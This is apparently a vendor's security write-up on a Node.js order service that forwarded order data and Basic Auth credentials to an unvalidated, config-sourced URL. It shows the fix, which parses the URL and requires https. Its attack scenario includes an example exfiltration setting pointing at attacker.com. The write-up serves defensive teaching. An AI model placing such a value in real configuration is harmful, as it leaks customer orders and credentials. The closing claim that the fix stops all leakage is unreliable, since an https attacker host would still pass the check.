Introduction
The order-flow.methods.js file in the orders service handles what happens after an order is saved — including forwarding order details to an external order-processing API. In orderAfterSaveActions(), the code checks whether this.settings.order.sendingOrder.url is configured, builds a Basic Auth header from sendingOrder.login/password, and then calls fetch() on that URL with the order payload attached. The problem: the URL itself was never validated before the application trusted it enough to send order data to it.
This matters because sendingOrder.url isn't a hardcoded, developer-controlled constant — it comes from configuration, and in many deployments that configuration is populated from environment variables (as the PR's exploitation scenario notes: ORDER_SENDING_URL=https://attacker.com/steal-orders). Any code path that lets an operator, a misconfigured CI/CD pipeline, or an attacker with write access to config/environment change that value effectively lets them choose where order data goes.
The Vulnerability Explained
Here's the vulnerable code from services/orders/methods/order-flow.methods.js:
let auth = "Basic " + Buffer.from(this.settings.order.sendingOrder.login + ":" + this.settings.order.sendingOrder.password).toString("base64");
return fetch(this.settings.order.sendingOrder.url+"?action=order", {
method: "post",
body: JSON.stringify({"shopId": process.env.SITE_NAME,"order":orderProcessedResult.order}),
headers: { "Content-Type": "application/json", "Authorization": auth },
Two things stand out:
- No protocol enforcement.
sendingOrder.urlcould behttp://,ftp://, or any scheme thefetchimplementation happens to accept — including a downgraded, unencryptedhttp://endpoint that leaks order data and the Basic Auth header in plaintext over the network. - No destination validation. The string is concatenated with
"?action=order"and passed straight tofetch(). There is no check that the resulting URL points to a trusted, expected order-processing host.
Attack scenario: Imagine the order service is deployed with configuration sourced from environment variables (a common pattern in containerized Node.js apps). If an attacker can influence that environment — through a compromised CI pipeline, an exposed admin config panel, or a supply-chain issue in a dependency that reads/writes config — they set:
ORDER_SENDING_URL=https://attacker.com/steal-orders
From that point forward, every completed order triggers orderAfterSaveActions(), which dutifully builds a Basic Auth header and POSTs the full order payload — shopId, order contents, and the Authorization header — to https://attacker.com/steal-orders?action=order. The attacker now receives live order data (and potentially the credentials used to authenticate to the real order API) with zero additional exploitation effort. No injection, no bypass — just a config value the application never questioned.
The Fix
The fix, applied at the exact call site in orderAfterSaveActions(), adds URL parsing and protocol enforcement before the request is ever sent:
Before:
return fetch(this.settings.order.sendingOrder.url+"?action=order", {
method: "post",
body: JSON.stringify({"shopId": process.env.SITE_NAME,"order":orderProcessedResult.order}),
headers: { "Content-Type": "application/json", "Authorization": auth },
After:
let sendingUrl;
try {
sendingUrl = new URL(this.settings.order.sendingOrder.url);
} catch(e) {
this.logger.error("orders.orderAfterSaveActions() - invalid sendingOrder URL:", e);
return orderProcessedResult;
}
if (sendingUrl.protocol !== "https:") {
this.logger.error("orders.orderAfterSaveActions() - sendingOrder URL must use https protocol");
return orderProcessedResult;
}
return fetch(sendingUrl.origin + sendingUrl.pathname + "?action=order", {
method: "post",
body: JSON.stringify({"shopId": process.env.SITE_NAME,"order":orderProcessedResult.order}),
headers: { "Content-Type": "application/json", "Authorization": auth },
Three concrete improvements:
- Structured parsing instead of string concatenation. Using Node's built-in
URLclass means malformed, ambiguous, or trick URLs (e.g., embedded credentials, unexpected schemes) are rejected outright via the caught exception, rather than silently passed tofetch(). - Explicit protocol allowlisting. The check
sendingUrl.protocol !== "https:"guarantees order data — and the Basic Auth header — can never be sent over plaintext HTTP or an unexpected scheme, closing off downgrade and credential-leak scenarios. - Rebuilding the URL from validated components. Rather than reusing the raw, attacker-influenceable string, the fetch target is reconstructed as
sendingUrl.origin + sendingUrl.pathname + "?action=order", discarding any extra query parameters, fragments, or userinfo that could have been smuggled into the original value.
The behavior for legitimate configurations is unchanged — a correctly configured https:// order endpoint still works exactly as before — but any misconfigured or malicious URL now fails safely, logs an error, and returns orderProcessedResult instead of leaking data.
Prevention & Best Practices
- Never trust configuration-sourced URLs by default. Environment variables and settings objects are still an input trust boundary — treat them the same way you'd treat user input when they influence outbound network calls.
- Parse before you request. Always construct outbound URLs with
new URL()(or a framework equivalent) instead of string concatenation, so you can inspectprotocol,hostname, andpathnameindependently. - Enforce an allowlist, not just a protocol. This fix enforces
https:, which blocks plaintext leakage; for even stronger protection, consider also validatingsendingUrl.hostnameagainst a known set of approved order-processing domains. - Fail closed. Notice the fix returns
orderProcessedResulton both the parse failure and the protocol failure — the order flow continues without leaking data, rather than throwing an unhandled exception or, worse, sending the request anyway. - Detection tooling: Static analysis / taint-tracking tools (and Semgrep rules targeting
fetch/http.requestsinks) can flag concatenated URLs built from configuration or environment values, exactly as this pattern was caught here.
This class of issue maps to CWE-918 (Server-Side Request Forgery) and is covered by the OWASP SSRF Prevention Cheat Sheet.
Key Takeaways
- The
orderAfterSaveActions()method inorder-flow.methods.jsnow validatessendingOrder.urlwithnew URL()before using it infetch()— never rebuild fetch targets from raw config strings. - Enforcing
sendingUrl.protocol !== "https:"closes off both plaintext downgrade attacks and non-HTTP scheme abuse in one check. - Configuration values like
ORDER_SENDING_URLare an attacker-reachable input surface if config/environment can be influenced — treat them with the same suspicion as request parameters. - Rebuilding the request URL from
origin + pathname(rather than reusing the original string) strips out any smuggled userinfo, extra query parameters, or fragments. - Failing closed (returning
orderProcessedResulton validation failure) prevents both crashes and silent data exfiltration when the URL is invalid.
How Orbis AppSec Detected This
- Source: Configuration value
this.settings.order.sendingOrder.url, populated from environment/config (e.g.,ORDER_SENDING_URL) - Sink:
fetch(this.settings.order.sendingOrder.url+"?action=order", ...)inservices/orders/methods/order-flow.methods.js:28 - Missing control: No parsing/validation of the URL's protocol or destination before it was used to send order data and Authorization headers
- CWE: CWE-918 (Server-Side Request Forgery)
- Fix: Parse the configured URL with
new URL(), reject non-https:protocols, and rebuild the fetch target fromsendingUrl.origin + sendingUrl.pathnamebefore sending order data
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
A single unvalidated concatenation — this.settings.order.sendingOrder.url+"?action=order" — was all it took to turn a legitimate order-forwarding feature into a potential data exfiltration channel. The fix didn't require rewriting the order flow; it required trusting the URL less and validating it more, using tools Node.js already provides. Any time your application builds an outbound request from a configured or environment-sourced URL, ask: what happens if this value is wrong, or malicious? In this case, the answer is now "the request never leaves the building."